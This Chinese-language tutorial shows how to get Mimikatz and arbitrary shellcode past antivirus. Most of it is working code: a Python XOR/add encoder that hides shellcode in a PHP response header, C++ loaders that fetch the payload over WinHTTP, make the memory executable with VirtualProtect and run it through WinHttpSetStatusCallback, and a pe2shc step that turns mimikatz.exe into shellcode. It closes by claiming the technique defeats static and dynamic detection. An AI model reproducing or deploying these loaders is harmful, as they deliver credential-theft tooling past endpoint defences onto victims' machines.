mimikatz和shellcode免杀
字数 1043 2025-08-06 18:07:42

Mimikatz与Shellcode免杀技术详解

前置知识:关键Windows API

VirtualProtect

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,      // 要更改属性的地址
  [in]  SIZE_T dwSize,         // 要更改属性的区域大小
  [in]  DWORD  flNewProtect,   // 新保护属性(PAGE_EXECUTE_READWRITE)
  [out] PDWORD lpflOldProtect  // 接收原来的访问保护值
);

示例:

char buf[] = "xxxx";
DWORD ppp;
VirtualProtect(&buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &ppp);

WinHTTP相关API

  1. WinHttpOpen - 初始化WinHTTP会话
HINTERNET WinHttpOpen(
  [in] LPCWSTR pszAgentW,              // 用户代理名称
  [in] DWORD   dwAccessType,           // 访问类型(WINHTTP_ACCESS_TYPE_DEFAULT_PROXY)
  [in] LPCWSTR pszProxyW,              // 代理名称(WINHTTP_NO_PROXY_NAME)
  [in] LPCWSTR pszProxyBypassW,        // 代理绕过列表(WINHTTP_NO_PROXY_BYPASS)
  [in] DWORD   dwFlags                 // 标志(0)
);
  1. WinHttpConnect - 连接目标服务器
HINTERNET WinHttpConnect(
  [in] HINTERNET     hSession,         // WinHttpOpen返回的句柄
  [in] LPCWSTR       pswzServerName,   // 服务器IP/域名
  [in] INTERNET_PORT nServerPort,      // 端口号
  [in] DWORD         dwReserved        // 保留参数(0)
);
  1. WinHttpOpenRequest - 创建HTTP请求
HINTERNET WinHttpOpenRequest(
  [in] HINTERNET hConnect,            // WinHttpConnect返回的句柄
  [in] LPCWSTR   pwszVerb,            // HTTP方法("GET")
  [in] LPCWSTR   pwszObjectName,      // 请求资源路径("index.php")
  [in] LPCWSTR   pwszVersion,         // HTTP版本(NULL)
  [in] LPCWSTR   pwszReferrer,        // 引用页(WINHTTP_NO_REFERER)
  [in] LPCWSTR   *ppwszAcceptTypes,   // 接受类型(WINHTTP_DEFAULT_ACCEPT_TYPES)
  [in] DWORD     dwFlags              // 标志(0)
);
  1. WinHttpSendRequest - 发送HTTP请求
BOOL WinHttpSendRequest(
  [in] HINTERNET hRequest,            // WinHttpOpenRequest返回的句柄
  [in] LPCWSTR   lpszHeaders,         // 附加头(WINHTTP_NO_ADDITIONAL_HEADERS)
  [in] DWORD     dwHeadersLength,     // 头长度(0)
  [in] LPVOID    lpOptional,          // 请求数据(WINHTTP_NO_REQUEST_DATA)
  [in] DWORD     dwOptionalLength,    // 数据长度(0)
  [in] DWORD     dwTotalLength,       // 总长度(0)
  [in] DWORD_PTR dwContext            // 上下文(0)
);
  1. WinHttpReceiveResponse - 接收HTTP响应
BOOL WinHttpReceiveResponse(
  [in] HINTERNET hRequest,            // WinHttpOpenRequest返回的句柄
  [in] LPVOID    lpReserved           // 保留参数(NULL)
);
  1. WinHttpQueryHeaders - 查询HTTP头信息
BOOL WinHttpQueryHeaders(
  [in] HINTERNET hRequest,            // WinHttpOpenRequest返回的句柄
  [in] DWORD     dwInfoLevel,         // 信息级别(WINHTTP_QUERY_RAW_HEADERS_CRLF)
  [in] LPCWSTR   pwszName,            // 头字段名称("cookie")
  [out] LPVOID    lpBuffer,           // 接收缓冲区
  [in, out] LPDWORD lpdwBufferLength, // 缓冲区长度
  [in, out] LPDWORD lpdwIndex         // 头索引(WINHTTP_NO_HEADER_INDEX)
);
  1. WinHttpSetStatusCallback - 设置回调函数(关键)
WINHTTP_STATUS_CALLBACK WinHttpSetStatusCallback(
  [in] HINTERNET hInternet,           // WinHttpOpen返回的句柄
  [in] WINHTTP_STATUS_CALLBACK lpfnInternetCallback, // 回调函数指针
  [in] DWORD dwNotificationFlags,     // 通知标志(WINHTTP_CALLBACK_FLAG_HANDLES)
  [in] DWORD_PTR dwReserved           // 保留参数(NULL)
);
  1. WinHttpQueryDataAvailable - 查询可用数据大小
BOOL WinHttpQueryDataAvailable(
  [in] HINTERNET hRequest,            // WinHttpOpenRequest返回的句柄
  [out] LPDWORD lpdwNumberOfBytesAvailable // 接收可用字节数
);
  1. WinHttpReadData - 读取数据
BOOL WinHttpReadData(
  [in] HINTERNET hRequest,            // WinHttpOpenRequest返回的句柄
  [out] LPVOID lpBuffer,              // 接收缓冲区
  [in] DWORD dwNumberOfBytesToRead,   // 要读取的字节数
  [out] LPDWORD lpdwNumberOfBytesRead // 实际读取的字节数
);

Shellcode免杀技术

1. Shellcode加密

使用异或和加法双重加密:

# encode.py
shellcode = b""
str_ = ""
for i in shellcode:
    code = (i ^ 1024) + 1024
    str_ += str(code)
    
with open("ii.php", "w") as f:
    f.write(f'<?php header("sc:{str_}");?>')
print("ok")

生成PHP文件示例:

<?php header("sc:加密后的shellcode");?>

2. Shellcode解密与加载

解密函数:

DWORD LoadSc(char* EncodeBuffer) {
    char buf[6000];
    strcpy(buf, EncodeBuffer);
    delete[] EncodeBuffer;
    
    char cd[10];
    char code;
    string buf_2 = buf;
    int num = 0, cnum = 0;
    int num_ = num + 4;
    
    for (int i = 0; i < sizeof(buf); i++) {
        if (buf[i] != (char)'\x0') {
            string str = buf_2.substr(num, num_);
            if (str.length() < 4) {
                break;
            }
            str.copy(cd, 4, 0);
            code = (char)(atoi(cd) - 1024) ^ 1024;
            buf[cnum] = code;
            cnum++;
            num_ += 4;
            num += 4;
        }
        else {
            break;
        }
    }
    
    DWORD Old = 0;
    BOOL IsExchange = VirtualProtect(&buf, 6000, PAGE_EXECUTE_READWRITE, &Old);
    if (!IsExchange) {
        cout << "[*] VirtualProtect Error " << endl;
        return -1;
    }
    
    HINTERNET hopen = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
                                 WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen, 
                               (WINHTTP_STATUS_CALLBACK)&buf, 
                               WINHTTP_CALLBACK_FLAG_HANDLES, NULL);
    if (callback == WINHTTP_INVALID_STATUS_CALLBACK) {
        cout << "[*] WinHttpSetStatusCallback Error" << endl;
        return -1;
    }
    
    WinHttpCloseHandle(hopen); 
    return 1;
}

3. 完整Shellcode加载流程

  1. 初始化WinHTTP会话:
HINTERNET hSession = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
                               WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"127.0.0.1", 80, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"ii.php", 
                                      L"HTTP/1.1", WINHTTP_NO_REFERER, 
                                      WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
  1. 发送请求并接收响应:
BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 
                                 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
bResults = WinHttpReceiveResponse(hRequest, NULL);
  1. 获取加密的Shellcode并加载:
if (bResults) {
    DWORD dwSize = 0;
    bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, 
                                 WINHTTP_HEADER_NAME_BY_INDEX, NULL, &dwSize, 
                                 WINHTTP_NO_HEADER_INDEX);
    if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
        CHAR* lpOutBuffer = new CHAR[dwSize / sizeof(CHAR)];
        bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CUSTOM, "sc", 
                                     lpOutBuffer, &dwSize, 
                                     WINHTTP_NO_HEADER_INDEX);
        LoadSc(lpOutBuffer);
    }
}

Mimikatz免杀加载技术

1. PE转Shellcode

使用pe_to_shellcode工具将Mimikatz转换为Shellcode:

pe2shc.exe mimikatz.exe mimimi.txt

2. 加载Mimikatz Shellcode

  1. 初始化WinHTTP会话并请求Shellcode文件:
HINTERNET hSession = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
                               WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"127.0.0.1", 80, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"mimimi.txt", 
                                      L"HTTP/1.1", WINHTTP_NO_REFERER, 
                                      WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
  1. 发送请求并接收响应:
BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 
                                 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
bResults = WinHttpReceiveResponse(hRequest, NULL);
  1. 读取Shellcode并执行:
DWORD dwSize = 0, dwDownloaded = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
    printf("Error in WinHttpQueryDataAvailable.\n");
    break;
}

dwSize = dwSize * 4000; // 调整缓冲区大小
char* pszOutBuffer = new char[dwSize];
ZeroMemory(pszOutBuffer, dwSize);

if (!WinHttpReadData(hRequest, pszOutBuffer, dwSize, &dwDownloaded)) {
    printf("Error in WinHttpReadData.\n");
} else {
    DWORD ppp;
    VirtualProtect(pszOutBuffer, dwSize, PAGE_EXECUTE_READWRITE, &ppp);
    
    HINTERNET hopen = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
                                WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen, 
                               (WINHTTP_STATUS_CALLBACK)pszOutBuffer, 
                               WINHTTP_CALLBACK_FLAG_HANDLES, NULL);
    
    WinHttpCloseHandle(hopen);
}

技术要点总结

  1. 关键API组合:使用WinHTTP API系列函数实现网络通信,结合VirtualProtect修改内存属性,最后通过WinHttpSetStatusCallback设置回调执行Shellcode

  2. Shellcode加密:采用异或和加法双重加密,避免特征检测

  3. 分阶段加载:通过网络请求分阶段获取Shellcode,避免一次性加载可执行代码

  4. 回调执行机制:利用WinHTTP的状态回调机制触发Shellcode执行,绕过直接执行检测

  5. PE转换技术:使用pe_to_shellcode工具将PE文件转换为Shellcode形式,实现任意可执行文件的免杀加载

  6. 内存属性操作:通过VirtualProtect修改内存区域为可执行,为Shellcode执行创造条件

这种方法可以有效绕过常见杀毒软件的静态和动态检测,实现Mimikatz等工具的免杀加载。

Mimikatz与Shellcode免杀技术详解 前置知识:关键Windows API VirtualProtect 示例: WinHTTP相关API WinHttpOpen - 初始化WinHTTP会话 WinHttpConnect - 连接目标服务器 WinHttpOpenRequest - 创建HTTP请求 WinHttpSendRequest - 发送HTTP请求 WinHttpReceiveResponse - 接收HTTP响应 WinHttpQueryHeaders - 查询HTTP头信息 WinHttpSetStatusCallback - 设置回调函数(关键) WinHttpQueryDataAvailable - 查询可用数据大小 WinHttpReadData - 读取数据 Shellcode免杀技术 1. Shellcode加密 使用异或和加法双重加密: 生成PHP文件示例: 2. Shellcode解密与加载 解密函数: 3. 完整Shellcode加载流程 初始化WinHTTP会话: 发送请求并接收响应: 获取加密的Shellcode并加载: Mimikatz免杀加载技术 1. PE转Shellcode 使用pe_ to_ shellcode工具将Mimikatz转换为Shellcode: 2. 加载Mimikatz Shellcode 初始化WinHTTP会话并请求Shellcode文件: 发送请求并接收响应: 读取Shellcode并执行: 技术要点总结 关键API组合 :使用WinHTTP API系列函数实现网络通信,结合VirtualProtect修改内存属性,最后通过WinHttpSetStatusCallback设置回调执行Shellcode Shellcode加密 :采用异或和加法双重加密,避免特征检测 分阶段加载 :通过网络请求分阶段获取Shellcode,避免一次性加载可执行代码 回调执行机制 :利用WinHTTP的状态回调机制触发Shellcode执行,绕过直接执行检测 PE转换技术 :使用pe_ to_ shellcode工具将PE文件转换为Shellcode形式,实现任意可执行文件的免杀加载 内存属性操作 :通过VirtualProtect修改内存区域为可执行,为Shellcode执行创造条件 这种方法可以有效绕过常见杀毒软件的静态和动态检测,实现Mimikatz等工具的免杀加载。